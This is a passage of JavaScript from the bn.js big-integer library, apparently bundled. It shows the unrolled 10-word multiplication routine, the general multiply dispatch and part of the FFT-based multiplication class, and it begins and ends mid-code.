= out.words;\n var c = 0;\n var lo;\n var mid;\n var hi;\n var a0 = a[0] | 0;\n var al0 = a0 & 8191;\n var ah0 = a0 >>> 13;\n var a1 = a[1] | 0;\n var al1 = a1 & 8191;\n var ah1 = a1 >>> 13;\n var a2 = a[2] | 0;\n var al2 = a2 & 8191;\n var ah2 = a2 >>> 13;\n var a3 = a[3] | 0;\n var al3 = a3 & 8191;\n var ah3 = a3 >>> 13;\n var a4 = a[4] | 0;\n var al4 = a4 & 8191;\n var ah4 = a4 >>> 13;\n var a5 = a[5] | 0;\n var al5 = a5 & 8191;\n var ah5 = a5 >>> 13;\n var a6 = a[6] | 0;\n var al6 = a6 & 8191;\n var ah6 = a6 >>> 13;\n var a7 = a[7] | 0;\n var al7 = a7 & 8191;\n var ah7 = a7 >>> 13;\n var a8 = a[8] | 0;\n var al8 = a8 & 8191;\n var ah8 = a8 >>> 13;\n var a9 = a[9] | 0;\n var al9 = a9 & 8191;\n var ah9 = a9 >>> 13;\n var b0 = b[0] | 0;\n var bl0 = b0 & 8191;\n var bh0 = b0 >>> 13;\n var b1 = b[1] | 0;\n var bl1 = b1 & 8191;\n var bh1 = b1 >>> 13;\n var b2 = b[2] | 0;\n var bl2 = b2 & 8191;\n var bh2 = b2 >>> 13;\n var b3 = b[3] | 0;\n var bl3 = b3 & 8191;\n var bh3 = b3 >>> 13;\n var b4 = b[4] | 0;\n var bl4 = b4 & 8191;\n var bh4 = b4 >>> 13;\n var b5 = b[5] | 0;\n var bl5 = b5 & 8191;\n var bh5 = b5 >>> 13;\n var b6 = b[6] | 0;\n var bl6 = b6 & 8191;\n var bh6 = b6 >>> 13;\n var b7 = b[7] | 0;\n var bl7 = b7 & 8191;\n var bh7 = b7 >>> 13;\n var b8 = b[8] | 0;\n var bl8 = b8 & 8191;\n var bh8 = b8 >>> 13;\n var b9 = b[9] | 0;\n var bl9 = b9 & 8191;\n var bh9 = b9 >>> 13;\n out.negative = self2.negative ^ num.negative;\n out.length = 19;\n lo = Math.imul(al0, bl0);\n mid = Math.imul(al0, bh0);\n mid = mid + Math.imul(ah0, bl0) | 0;\n hi = Math.imul(ah0, bh0);\n var w0 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w0 >>> 26) | 0;\n w0 &= 67108863;\n lo = Math.imul(al1, bl0);\n mid = Math.imul(al1, bh0);\n mid = mid + Math.imul(ah1, bl0) | 0;\n hi = Math.imul(ah1, bh0);\n lo = lo + Math.imul(al0, bl1) | 0;\n mid = mid + Math.imul(al0, bh1) | 0;\n mid = mid + Math.imul(ah0, bl1) | 0;\n hi = hi + Math.imul(ah0, bh1) | 0;\n var w1 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w1 >>> 26) | 0;\n w1 &= 67108863;\n lo = Math.imul(al2, bl0);\n mid = Math.imul(al2, bh0);\n mid = mid + Math.imul(ah2, bl0) | 0;\n hi = Math.imul(ah2, bh0);\n lo = lo + Math.imul(al1, bl1) | 0;\n mid = mid + Math.imul(al1, bh1) | 0;\n mid = mid + Math.imul(ah1, bl1) | 0;\n hi = hi + Math.imul(ah1, bh1) | 0;\n lo = lo + Math.imul(al0, bl2) | 0;\n mid = mid + Math.imul(al0, bh2) | 0;\n mid = mid + Math.imul(ah0, bl2) | 0;\n hi = hi + Math.imul(ah0, bh2) | 0;\n var w2 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w2 >>> 26) | 0;\n w2 &= 67108863;\n lo = Math.imul(al3, bl0);\n mid = Math.imul(al3, bh0);\n mid = mid + Math.imul(ah3, bl0) | 0;\n hi = Math.imul(ah3, bh0);\n lo = lo + Math.imul(al2, bl1) | 0;\n mid = mid + Math.imul(al2, bh1) | 0;\n mid = mid + Math.imul(ah2, bl1) | 0;\n hi = hi + Math.imul(ah2, bh1) | 0;\n lo = lo + Math.imul(al1, bl2) | 0;\n mid = mid + Math.imul(al1, bh2) | 0;\n mid = mid + Math.imul(ah1, bl2) | 0;\n hi = hi + Math.imul(ah1, bh2) | 0;\n lo = lo + Math.imul(al0, bl3) | 0;\n mid = mid + Math.imul(al0, bh3) | 0;\n mid = mid + Math.imul(ah0, bl3) | 0;\n hi = hi + Math.imul(ah0, bh3) | 0;\n var w3 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w3 >>> 26) | 0;\n w3 &= 67108863;\n lo = Math.imul(al4, bl0);\n mid = Math.imul(al4, bh0);\n mid = mid + Math.imul(ah4, bl0) | 0;\n hi = Math.imul(ah4, bh0);\n lo = lo + Math.imul(al3, bl1) | 0;\n mid = mid + Math.imul(al3, bh1) | 0;\n mid = mid + Math.imul(ah3, bl1) | 0;\n hi = hi + Math.imul(ah3, bh1) | 0;\n lo = lo + Math.imul(al2, bl2) | 0;\n mid = mid + Math.imul(al2, bh2) | 0;\n mid = mid + Math.imul(ah2, bl2) | 0;\n hi = hi + Math.imul(ah2, bh2) | 0;\n lo = lo + Math.imul(al1, bl3) | 0;\n mid = mid + Math.imul(al1, bh3) | 0;\n mid = mid + Math.imul(ah1, bl3) | 0;\n hi = hi + Math.imul(ah1, bh3) | 0;\n lo = lo + Math.imul(al0, bl4) | 0;\n mid = mid + Math.imul(al0, bh4) | 0;\n mid = mid + Math.imul(ah0, bl4) | 0;\n hi = hi + Math.imul(ah0, bh4) | 0;\n var w4 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w4 >>> 26) | 0;\n w4 &= 67108863;\n lo = Math.imul(al5, bl0);\n mid = Math.imul(al5, bh0);\n mid = mid + Math.imul(ah5, bl0) | 0;\n hi = Math.imul(ah5, bh0);\n lo = lo + Math.imul(al4, bl1) | 0;\n mid = mid + Math.imul(al4, bh1) | 0;\n mid = mid + Math.imul(ah4, bl1) | 0;\n hi = hi + Math.imul(ah4, bh1) | 0;\n lo = lo + Math.imul(al3, bl2) | 0;\n mid = mid + Math.imul(al3, bh2) | 0;\n mid = mid + Math.imul(ah3, bl2) | 0;\n hi = hi + Math.imul(ah3, bh2) | 0;\n lo = lo + Math.imul(al2, bl3) | 0;\n mid = mid + Math.imul(al2, bh3) | 0;\n mid = mid + Math.imul(ah2, bl3) | 0;\n hi = hi + Math.imul(ah2, bh3) | 0;\n lo = lo + Math.imul(al1, bl4) | 0;\n mid = mid + Math.imul(al1, bh4) | 0;\n mid = mid + Math.imul(ah1, bl4) | 0;\n hi = hi + Math.imul(ah1, bh4) | 0;\n lo = lo + Math.imul(al0, bl5) | 0;\n mid = mid + Math.imul(al0, bh5) | 0;\n mid = mid + Math.imul(ah0, bl5) | 0;\n hi = hi + Math.imul(ah0, bh5) | 0;\n var w5 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w5 >>> 26) | 0;\n w5 &= 67108863;\n lo = Math.imul(al6, bl0);\n mid = Math.imul(al6, bh0);\n mid = mid + Math.imul(ah6, bl0) | 0;\n hi = Math.imul(ah6, bh0);\n lo = lo + Math.imul(al5, bl1) | 0;\n mid = mid + Math.imul(al5, bh1) | 0;\n mid = mid + Math.imul(ah5, bl1) | 0;\n hi = hi + Math.imul(ah5, bh1) | 0;\n lo = lo + Math.imul(al4, bl2) | 0;\n mid = mid + Math.imul(al4, bh2) | 0;\n mid = mid + Math.imul(ah4, bl2) | 0;\n hi = hi + Math.imul(ah4, bh2) | 0;\n lo = lo + Math.imul(al3, bl3) | 0;\n mid = mid + Math.imul(al3, bh3) | 0;\n mid = mid + Math.imul(ah3, bl3) | 0;\n hi = hi + Math.imul(ah3, bh3) | 0;\n lo = lo + Math.imul(al2, bl4) | 0;\n mid = mid + Math.imul(al2, bh4) | 0;\n mid = mid + Math.imul(ah2, bl4) | 0;\n hi = hi + Math.imul(ah2, bh4) | 0;\n lo = lo + Math.imul(al1, bl5) | 0;\n mid = mid + Math.imul(al1, bh5) | 0;\n mid = mid + Math.imul(ah1, bl5) | 0;\n hi = hi + Math.imul(ah1, bh5) | 0;\n lo = lo + Math.imul(al0, bl6) | 0;\n mid = mid + Math.imul(al0, bh6) | 0;\n mid = mid + Math.imul(ah0, bl6) | 0;\n hi = hi + Math.imul(ah0, bh6) | 0;\n var w6 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w6 >>> 26) | 0;\n w6 &= 67108863;\n lo = Math.imul(al7, bl0);\n mid = Math.imul(al7, bh0);\n mid = mid + Math.imul(ah7, bl0) | 0;\n hi = Math.imul(ah7, bh0);\n lo = lo + Math.imul(al6, bl1) | 0;\n mid = mid + Math.imul(al6, bh1) | 0;\n mid = mid + Math.imul(ah6, bl1) | 0;\n hi = hi + Math.imul(ah6, bh1) | 0;\n lo = lo + Math.imul(al5, bl2) | 0;\n mid = mid + Math.imul(al5, bh2) | 0;\n mid = mid + Math.imul(ah5, bl2) | 0;\n hi = hi + Math.imul(ah5, bh2) | 0;\n lo = lo + Math.imul(al4, bl3) | 0;\n mid = mid + Math.imul(al4, bh3) | 0;\n mid = mid + Math.imul(ah4, bl3) | 0;\n hi = hi + Math.imul(ah4, bh3) | 0;\n lo = lo + Math.imul(al3, bl4) | 0;\n mid = mid + Math.imul(al3, bh4) | 0;\n mid = mid + Math.imul(ah3, bl4) | 0;\n hi = hi + Math.imul(ah3, bh4) | 0;\n lo = lo + Math.imul(al2, bl5) | 0;\n mid = mid + Math.imul(al2, bh5) | 0;\n mid = mid + Math.imul(ah2, bl5) | 0;\n hi = hi + Math.imul(ah2, bh5) | 0;\n lo = lo + Math.imul(al1, bl6) | 0;\n mid = mid + Math.imul(al1, bh6) | 0;\n mid = mid + Math.imul(ah1, bl6) | 0;\n hi = hi + Math.imul(ah1, bh6) | 0;\n lo = lo + Math.imul(al0, bl7) | 0;\n mid = mid + Math.imul(al0, bh7) | 0;\n mid = mid + Math.imul(ah0, bl7) | 0;\n hi = hi + Math.imul(ah0, bh7) | 0;\n var w7 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w7 >>> 26) | 0;\n w7 &= 67108863;\n lo = Math.imul(al8, bl0);\n mid = Math.imul(al8, bh0);\n mid = mid + Math.imul(ah8, bl0) | 0;\n hi = Math.imul(ah8, bh0);\n lo = lo + Math.imul(al7, bl1) | 0;\n mid = mid + Math.imul(al7, bh1) | 0;\n mid = mid + Math.imul(ah7, bl1) | 0;\n hi = hi + Math.imul(ah7, bh1) | 0;\n lo = lo + Math.imul(al6, bl2) | 0;\n mid = mid + Math.imul(al6, bh2) | 0;\n mid = mid + Math.imul(ah6, bl2) | 0;\n hi = hi + Math.imul(ah6, bh2) | 0;\n lo = lo + Math.imul(al5, bl3) | 0;\n mid = mid + Math.imul(al5, bh3) | 0;\n mid = mid + Math.imul(ah5, bl3) | 0;\n hi = hi + Math.imul(ah5, bh3) | 0;\n lo = lo + Math.imul(al4, bl4) | 0;\n mid = mid + Math.imul(al4, bh4) | 0;\n mid = mid + Math.imul(ah4, bl4) | 0;\n hi = hi + Math.imul(ah4, bh4) | 0;\n lo = lo + Math.imul(al3, bl5) | 0;\n mid = mid + Math.imul(al3, bh5) | 0;\n mid = mid + Math.imul(ah3, bl5) | 0;\n hi = hi + Math.imul(ah3, bh5) | 0;\n lo = lo + Math.imul(al2, bl6) | 0;\n mid = mid + Math.imul(al2, bh6) | 0;\n mid = mid + Math.imul(ah2, bl6) | 0;\n hi = hi + Math.imul(ah2, bh6) | 0;\n lo = lo + Math.imul(al1, bl7) | 0;\n mid = mid + Math.imul(al1, bh7) | 0;\n mid = mid + Math.imul(ah1, bl7) | 0;\n hi = hi + Math.imul(ah1, bh7) | 0;\n lo = lo + Math.imul(al0, bl8) | 0;\n mid = mid + Math.imul(al0, bh8) | 0;\n mid = mid + Math.imul(ah0, bl8) | 0;\n hi = hi + Math.imul(ah0, bh8) | 0;\n var w8 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w8 >>> 26) | 0;\n w8 &= 67108863;\n lo = Math.imul(al9, bl0);\n mid = Math.imul(al9, bh0);\n mid = mid + Math.imul(ah9, bl0) | 0;\n hi = Math.imul(ah9, bh0);\n lo = lo + Math.imul(al8, bl1) | 0;\n mid = mid + Math.imul(al8, bh1) | 0;\n mid = mid + Math.imul(ah8, bl1) | 0;\n hi = hi + Math.imul(ah8, bh1) | 0;\n lo = lo + Math.imul(al7, bl2) | 0;\n mid = mid + Math.imul(al7, bh2) | 0;\n mid = mid + Math.imul(ah7, bl2) | 0;\n hi = hi + Math.imul(ah7, bh2) | 0;\n lo = lo + Math.imul(al6, bl3) | 0;\n mid = mid + Math.imul(al6, bh3) | 0;\n mid = mid + Math.imul(ah6, bl3) | 0;\n hi = hi + Math.imul(ah6, bh3) | 0;\n lo = lo + Math.imul(al5, bl4) | 0;\n mid = mid + Math.imul(al5, bh4) | 0;\n mid = mid + Math.imul(ah5, bl4) | 0;\n hi = hi + Math.imul(ah5, bh4) | 0;\n lo = lo + Math.imul(al4, bl5) | 0;\n mid = mid + Math.imul(al4, bh5) | 0;\n mid = mid + Math.imul(ah4, bl5) | 0;\n hi = hi + Math.imul(ah4, bh5) | 0;\n lo = lo + Math.imul(al3, bl6) | 0;\n mid = mid + Math.imul(al3, bh6) | 0;\n mid = mid + Math.imul(ah3, bl6) | 0;\n hi = hi + Math.imul(ah3, bh6) | 0;\n lo = lo + Math.imul(al2, bl7) | 0;\n mid = mid + Math.imul(al2, bh7) | 0;\n mid = mid + Math.imul(ah2, bl7) | 0;\n hi = hi + Math.imul(ah2, bh7) | 0;\n lo = lo + Math.imul(al1, bl8) | 0;\n mid = mid + Math.imul(al1, bh8) | 0;\n mid = mid + Math.imul(ah1, bl8) | 0;\n hi = hi + Math.imul(ah1, bh8) | 0;\n lo = lo + Math.imul(al0, bl9) | 0;\n mid = mid + Math.imul(al0, bh9) | 0;\n mid = mid + Math.imul(ah0, bl9) | 0;\n hi = hi + Math.imul(ah0, bh9) | 0;\n var w9 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w9 >>> 26) | 0;\n w9 &= 67108863;\n lo = Math.imul(al9, bl1);\n mid = Math.imul(al9, bh1);\n mid = mid + Math.imul(ah9, bl1) | 0;\n hi = Math.imul(ah9, bh1);\n lo = lo + Math.imul(al8, bl2) | 0;\n mid = mid + Math.imul(al8, bh2) | 0;\n mid = mid + Math.imul(ah8, bl2) | 0;\n hi = hi + Math.imul(ah8, bh2) | 0;\n lo = lo + Math.imul(al7, bl3) | 0;\n mid = mid + Math.imul(al7, bh3) | 0;\n mid = mid + Math.imul(ah7, bl3) | 0;\n hi = hi + Math.imul(ah7, bh3) | 0;\n lo = lo + Math.imul(al6, bl4) | 0;\n mid = mid + Math.imul(al6, bh4) | 0;\n mid = mid + Math.imul(ah6, bl4) | 0;\n hi = hi + Math.imul(ah6, bh4) | 0;\n lo = lo + Math.imul(al5, bl5) | 0;\n mid = mid + Math.imul(al5, bh5) | 0;\n mid = mid + Math.imul(ah5, bl5) | 0;\n hi = hi + Math.imul(ah5, bh5) | 0;\n lo = lo + Math.imul(al4, bl6) | 0;\n mid = mid + Math.imul(al4, bh6) | 0;\n mid = mid + Math.imul(ah4, bl6) | 0;\n hi = hi + Math.imul(ah4, bh6) | 0;\n lo = lo + Math.imul(al3, bl7) | 0;\n mid = mid + Math.imul(al3, bh7) | 0;\n mid = mid + Math.imul(ah3, bl7) | 0;\n hi = hi + Math.imul(ah3, bh7) | 0;\n lo = lo + Math.imul(al2, bl8) | 0;\n mid = mid + Math.imul(al2, bh8) | 0;\n mid = mid + Math.imul(ah2, bl8) | 0;\n hi = hi + Math.imul(ah2, bh8) | 0;\n lo = lo + Math.imul(al1, bl9) | 0;\n mid = mid + Math.imul(al1, bh9) | 0;\n mid = mid + Math.imul(ah1, bl9) | 0;\n hi = hi + Math.imul(ah1, bh9) | 0;\n var w10 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w10 >>> 26) | 0;\n w10 &= 67108863;\n lo = Math.imul(al9, bl2);\n mid = Math.imul(al9, bh2);\n mid = mid + Math.imul(ah9, bl2) | 0;\n hi = Math.imul(ah9, bh2);\n lo = lo + Math.imul(al8, bl3) | 0;\n mid = mid + Math.imul(al8, bh3) | 0;\n mid = mid + Math.imul(ah8, bl3) | 0;\n hi = hi + Math.imul(ah8, bh3) | 0;\n lo = lo + Math.imul(al7, bl4) | 0;\n mid = mid + Math.imul(al7, bh4) | 0;\n mid = mid + Math.imul(ah7, bl4) | 0;\n hi = hi + Math.imul(ah7, bh4) | 0;\n lo = lo + Math.imul(al6, bl5) | 0;\n mid = mid + Math.imul(al6, bh5) | 0;\n mid = mid + Math.imul(ah6, bl5) | 0;\n hi = hi + Math.imul(ah6, bh5) | 0;\n lo = lo + Math.imul(al5, bl6) | 0;\n mid = mid + Math.imul(al5, bh6) | 0;\n mid = mid + Math.imul(ah5, bl6) | 0;\n hi = hi + Math.imul(ah5, bh6) | 0;\n lo = lo + Math.imul(al4, bl7) | 0;\n mid = mid + Math.imul(al4, bh7) | 0;\n mid = mid + Math.imul(ah4, bl7) | 0;\n hi = hi + Math.imul(ah4, bh7) | 0;\n lo = lo + Math.imul(al3, bl8) | 0;\n mid = mid + Math.imul(al3, bh8) | 0;\n mid = mid + Math.imul(ah3, bl8) | 0;\n hi = hi + Math.imul(ah3, bh8) | 0;\n lo = lo + Math.imul(al2, bl9) | 0;\n mid = mid + Math.imul(al2, bh9) | 0;\n mid = mid + Math.imul(ah2, bl9) | 0;\n hi = hi + Math.imul(ah2, bh9) | 0;\n var w11 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w11 >>> 26) | 0;\n w11 &= 67108863;\n lo = Math.imul(al9, bl3);\n mid = Math.imul(al9, bh3);\n mid = mid + Math.imul(ah9, bl3) | 0;\n hi = Math.imul(ah9, bh3);\n lo = lo + Math.imul(al8, bl4) | 0;\n mid = mid + Math.imul(al8, bh4) | 0;\n mid = mid + Math.imul(ah8, bl4) | 0;\n hi = hi + Math.imul(ah8, bh4) | 0;\n lo = lo + Math.imul(al7, bl5) | 0;\n mid = mid + Math.imul(al7, bh5) | 0;\n mid = mid + Math.imul(ah7, bl5) | 0;\n hi = hi + Math.imul(ah7, bh5) | 0;\n lo = lo + Math.imul(al6, bl6) | 0;\n mid = mid + Math.imul(al6, bh6) | 0;\n mid = mid + Math.imul(ah6, bl6) | 0;\n hi = hi + Math.imul(ah6, bh6) | 0;\n lo = lo + Math.imul(al5, bl7) | 0;\n mid = mid + Math.imul(al5, bh7) | 0;\n mid = mid + Math.imul(ah5, bl7) | 0;\n hi = hi + Math.imul(ah5, bh7) | 0;\n lo = lo + Math.imul(al4, bl8) | 0;\n mid = mid + Math.imul(al4, bh8) | 0;\n mid = mid + Math.imul(ah4, bl8) | 0;\n hi = hi + Math.imul(ah4, bh8) | 0;\n lo = lo + Math.imul(al3, bl9) | 0;\n mid = mid + Math.imul(al3, bh9) | 0;\n mid = mid + Math.imul(ah3, bl9) | 0;\n hi = hi + Math.imul(ah3, bh9) | 0;\n var w12 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w12 >>> 26) | 0;\n w12 &= 67108863;\n lo = Math.imul(al9, bl4);\n mid = Math.imul(al9, bh4);\n mid = mid + Math.imul(ah9, bl4) | 0;\n hi = Math.imul(ah9, bh4);\n lo = lo + Math.imul(al8, bl5) | 0;\n mid = mid + Math.imul(al8, bh5) | 0;\n mid = mid + Math.imul(ah8, bl5) | 0;\n hi = hi + Math.imul(ah8, bh5) | 0;\n lo = lo + Math.imul(al7, bl6) | 0;\n mid = mid + Math.imul(al7, bh6) | 0;\n mid = mid + Math.imul(ah7, bl6) | 0;\n hi = hi + Math.imul(ah7, bh6) | 0;\n lo = lo + Math.imul(al6, bl7) | 0;\n mid = mid + Math.imul(al6, bh7) | 0;\n mid = mid + Math.imul(ah6, bl7) | 0;\n hi = hi + Math.imul(ah6, bh7) | 0;\n lo = lo + Math.imul(al5, bl8) | 0;\n mid = mid + Math.imul(al5, bh8) | 0;\n mid = mid + Math.imul(ah5, bl8) | 0;\n hi = hi + Math.imul(ah5, bh8) | 0;\n lo = lo + Math.imul(al4, bl9) | 0;\n mid = mid + Math.imul(al4, bh9) | 0;\n mid = mid + Math.imul(ah4, bl9) | 0;\n hi = hi + Math.imul(ah4, bh9) | 0;\n var w13 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w13 >>> 26) | 0;\n w13 &= 67108863;\n lo = Math.imul(al9, bl5);\n mid = Math.imul(al9, bh5);\n mid = mid + Math.imul(ah9, bl5) | 0;\n hi = Math.imul(ah9, bh5);\n lo = lo + Math.imul(al8, bl6) | 0;\n mid = mid + Math.imul(al8, bh6) | 0;\n mid = mid + Math.imul(ah8, bl6) | 0;\n hi = hi + Math.imul(ah8, bh6) | 0;\n lo = lo + Math.imul(al7, bl7) | 0;\n mid = mid + Math.imul(al7, bh7) | 0;\n mid = mid + Math.imul(ah7, bl7) | 0;\n hi = hi + Math.imul(ah7, bh7) | 0;\n lo = lo + Math.imul(al6, bl8) | 0;\n mid = mid + Math.imul(al6, bh8) | 0;\n mid = mid + Math.imul(ah6, bl8) | 0;\n hi = hi + Math.imul(ah6, bh8) | 0;\n lo = lo + Math.imul(al5, bl9) | 0;\n mid = mid + Math.imul(al5, bh9) | 0;\n mid = mid + Math.imul(ah5, bl9) | 0;\n hi = hi + Math.imul(ah5, bh9) | 0;\n var w14 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w14 >>> 26) | 0;\n w14 &= 67108863;\n lo = Math.imul(al9, bl6);\n mid = Math.imul(al9, bh6);\n mid = mid + Math.imul(ah9, bl6) | 0;\n hi = Math.imul(ah9, bh6);\n lo = lo + Math.imul(al8, bl7) | 0;\n mid = mid + Math.imul(al8, bh7) | 0;\n mid = mid + Math.imul(ah8, bl7) | 0;\n hi = hi + Math.imul(ah8, bh7) | 0;\n lo = lo + Math.imul(al7, bl8) | 0;\n mid = mid + Math.imul(al7, bh8) | 0;\n mid = mid + Math.imul(ah7, bl8) | 0;\n hi = hi + Math.imul(ah7, bh8) | 0;\n lo = lo + Math.imul(al6, bl9) | 0;\n mid = mid + Math.imul(al6, bh9) | 0;\n mid = mid + Math.imul(ah6, bl9) | 0;\n hi = hi + Math.imul(ah6, bh9) | 0;\n var w15 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w15 >>> 26) | 0;\n w15 &= 67108863;\n lo = Math.imul(al9, bl7);\n mid = Math.imul(al9, bh7);\n mid = mid + Math.imul(ah9, bl7) | 0;\n hi = Math.imul(ah9, bh7);\n lo = lo + Math.imul(al8, bl8) | 0;\n mid = mid + Math.imul(al8, bh8) | 0;\n mid = mid + Math.imul(ah8, bl8) | 0;\n hi = hi + Math.imul(ah8, bh8) | 0;\n lo = lo + Math.imul(al7, bl9) | 0;\n mid = mid + Math.imul(al7, bh9) | 0;\n mid = mid + Math.imul(ah7, bl9) | 0;\n hi = hi + Math.imul(ah7, bh9) | 0;\n var w16 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w16 >>> 26) | 0;\n w16 &= 67108863;\n lo = Math.imul(al9, bl8);\n mid = Math.imul(al9, bh8);\n mid = mid + Math.imul(ah9, bl8) | 0;\n hi = Math.imul(ah9, bh8);\n lo = lo + Math.imul(al8, bl9) | 0;\n mid = mid + Math.imul(al8, bh9) | 0;\n mid = mid + Math.imul(ah8, bl9) | 0;\n hi = hi + Math.imul(ah8, bh9) | 0;\n var w17 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w17 >>> 26) | 0;\n w17 &= 67108863;\n lo = Math.imul(al9, bl9);\n mid = Math.imul(al9, bh9);\n mid = mid + Math.imul(ah9, bl9) | 0;\n hi = Math.imul(ah9, bh9);\n var w18 = (c + lo | 0) + ((mid & 8191) << 13) | 0;\n c = (hi + (mid >>> 13) | 0) + (w18 >>> 26) | 0;\n w18 &= 67108863;\n o[0] = w0;\n o[1] = w1;\n o[2] = w2;\n o[3] = w3;\n o[4] = w4;\n o[5] = w5;\n o[6] = w6;\n o[7] = w7;\n o[8] = w8;\n o[9] = w9;\n o[10] = w10;\n o[11] = w11;\n o[12] = w12;\n o[13] = w13;\n o[14] = w14;\n o[15] = w15;\n o[16] = w16;\n o[17] = w17;\n o[18] = w18;\n if (c !== 0) {\n o[19] = c;\n out.length++;\n }\n return out;\n };\n if (!Math.imul) {\n comb10MulTo = smallMulTo;\n }\n function bigMulTo(self2, num, out) {\n out.negative = num.negative ^ self2.negative;\n out.length = self2.length + num.length;\n var carry = 0;\n var hncarry = 0;\n for (var k = 0; k < out.length - 1; k++) {\n var ncarry = hncarry;\n hncarry = 0;\n var rword = carry & 67108863;\n var maxJ = Math.min(k, num.length - 1);\n for (var j = Math.max(0, k - self2.length + 1); j <= maxJ; j++) {\n var i = k - j;\n var a = self2.words[i] | 0;\n var b = num.words[j] | 0;\n var r2 = a * b;\n var lo = r2 & 67108863;\n ncarry = ncarry + (r2 / 67108864 | 0) | 0;\n lo = lo + rword | 0;\n rword = lo & 67108863;\n ncarry = ncarry + (lo >>> 26) | 0;\n hncarry += ncarry >>> 26;\n ncarry &= 67108863;\n }\n out.words[k] = rword;\n carry = ncarry;\n ncarry = hncarry;\n }\n if (carry !== 0) {\n out.words[k] = carry;\n } else {\n out.length--;\n }\n return out._strip();\n }\n function jumboMulTo(self2, num, out) {\n return bigMulTo(self2, num, out);\n }\n BN3.prototype.mulTo = function mulTo(num, out) {\n var res;\n var len = this.length + num.length;\n if (this.length === 10 && num.length === 10) {\n res = comb10MulTo(this, num, out);\n } else if (len < 63) {\n res = smallMulTo(this, num, out);\n } else if (len < 1024) {\n res = bigMulTo(this, num, out);\n } else {\n res = jumboMulTo(this, num, out);\n }\n return res;\n };\n function FFTM(x, y) {\n this.x = x;\n this.y = y;\n }\n FFTM.prototype.makeRBT = function makeRBT(N) {\n var t = new Array(N);\n var l = BN3.prototype._countBits(N) - 1;\n for (var i = 0; i < N; i++) {\n t[i] = this.revBin(i, l, N);\n }\n return t;\n };\n FFTM.prototype.revBin = function revBin(x, l, N) {\n if (x === 0 || x === N - 1)\n return x;\n var rb = 0;\n for (var i = 0; i < l; i++) {\n rb |= (x & 1) << l - i - 1;\n x >>= 1;\n }\n return rb;\n };\n FFTM.prototype.permute = function permute(rbt, rws, iws, rtws, itws, N) {\n for (var i = 0; i < N; i++) {\n rtws[i] = rws[rbt[i]];\n itws[i] = iws[rbt[i]];\n }\n };\n FFTM.prototype.transform = function transform(rws, iws, rtws, itws, N, rbt) {\n this.permute(rbt, rws, iws, rtws, itws, N);\n for (var s = 1; s < N; s <<= 1) {\n var l = s << 1;\n var rtwdf = Math.cos(2 * Math.PI / l);\n var itwdf = Math.sin(2 * Math.PI / l);\n for (var p = 0; p < N; p += l) {\n var rtwdf_ = rtwdf;\n var itwdf_ = itwdf;\n for (var j = 0; j < s; j++) {\n var re = rtws[p + j];\n var ie = itws[p + j];\n var ro = rtws[p + j + s];\n var io = itws[p + j + s];\n var rx = rtwdf_ * ro - itwdf_ * io;\n io = rtwdf_ * io + itwdf_ * ro;\n ro = rx;\n rtws[p + j] = re + ro;\n itws[p + j] = ie + io;\n rtws[p + j + s] = re - ro;\n itws[p + j + s] = ie - io;\n if (j !== l) {\n rx = rtwdf * rtwdf_ - itwdf * itwdf_;\n itwdf_ = rtwdf * itwdf_ + itwdf * rtwdf_;\n rtwdf_ = rx;\n }\n }\n }\n }\n };\n FFTM.prototype.guessLen13b = function guessLen13b(n, m) {\n var N = Math.max(m, n) | 1;\n var odd = N & 1;\n var i = 0;\n for (N = N / 2 | 0; N; N = N >>> 1) {\n i++;\n }\n return 1 << i + 1 + odd;\n };\n FFTM.prototype.conjugate = function conjugate(rws, iws, N) {\n if (N <= 1)\n return;\n for (var i = 0; i < N / 2; i++) {\n var t = rws[i];\n rws[i] = rws[N - i - 1];\n rws[N - i - 1] = t;\n t = iws[i];\n iws[i] = -iws[N - i - 1];\n iws[N - i - 1] = -t;\n }\n };\n FFTM.prototype.normalize13b = function normalize13b(ws, N) {\n var carry = 0;\n for (var i = 0; i < N / 2; i++) {\n var w = Math.round(ws[2 * i + 1] / N) * 8192 + Math.round(ws[2 * i] / N) + carry;\n ws[i] = w & 67108863;\n if (w < 67108864) {\n carry = 0;\n } else {\n carry = w / 67108864 | 0;\n }\n }\n return ws;\n };\n FFTM.prototype.convert13b = function convert13b(ws, len, rws, N) {\n var carry = 0;\n for (var i = 0; i < len; i++) {\n carry = carry + (ws[i] | 0);\n rws[2 * i] = carry & 8191;\n carry = carry >>> 13;\n rws[2 * i + 1] = carry & 8191;\n carry = carry >>> 13;\n }\n for (i = 2 * len; i < N; ++i) {\n rws[i] = 0;\n }\n assert2(carry === 0);\n assert2((carry & ~8191) === 0);\n };\n FFTM.prototype.stub = function stub(N) {\n var ph = new Array(N);\n for (var i = 0; i < N; i++) {\n ph[i] = 0;\n }\n return ph;\n };\n FFTM.prototype.mulp = function mulp(x, y, out) {\n var N = 2 * this.guessLen13b(x.length, y.length);\n var rbt = this.makeRBT(N);\n var _ = this.stub(N);\n var rws = new 